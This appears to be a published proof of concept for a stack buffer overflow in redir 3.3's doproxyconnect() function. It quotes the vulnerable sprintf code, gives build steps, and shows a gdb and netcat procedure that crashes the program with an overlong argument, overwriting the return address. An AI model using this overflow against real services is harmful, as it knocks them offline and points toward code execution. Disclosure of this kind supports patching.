Share
# Exploit Title: Redir 3.3 - Denial of Service (PoC)  
# Date: 2020-01-14  
# Exploit Author: hieubl from HPT Cyber Security  
# Vendor Homepage: https://github.com/troglobit/redir  
# Software Link: https://github.com/troglobit/redir  
# Version: 3.3  
# Tested on: Kali GNU/Linux Rolling 2019.4  
# CVE : [if applicable]  
  
The source code of redir.c contains doproxyconnect() function which  
has the stack overflow vulnerability:  
  
void doproxyconnect(int socket)  
{  
int x;  
char buf[128];  
  
/* write CONNECT string to proxy */  
sprintf((char *)&buf, "CONNECT %s HTTP/1.0\n\n", connect_str);  
x = write(socket, (char *)&buf, strlen(buf));  
if (x < 1) {  
syslog(LOG_ERR, "Failed writing to proxy: %s", strerror(errno));  
exit(1);  
}  
/* now read result */  
x = read(socket, (char *)&buf, sizeof(buf));  
if (x < 1) {  
syslog(LOG_ERR, "Failed reading reply from proxy: %s", strerror(errno));  
exit(1);  
}  
/* no more error checking for now -- something should be added later */  
/* HTTP/1.0 200 Connection established */  
}  
  
Download and build:  
# git clone https://github.com/troglobit/redir.git  
# cd redir  
# ./autogen.sh  
# ./configure  
# make  
  
Proof of Concept:  
In 1st terminal:  
# gdb -q ./redir  
# set follow-fork-mode child  
# r -x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
:1234 hpt.vn:80  
  
In 2nd terminal:  
# nc localhost 1234  
  
After that, the program in 1st terminal will crash because of buffer  
overflow vulnerability.  
...  
โ–บ 0x5555555571b0 <doproxyconnect+144> ret <0x4141414141414141>  
...  
Program received signal SIGSEGV (fault address 0x0)  
pwndbg>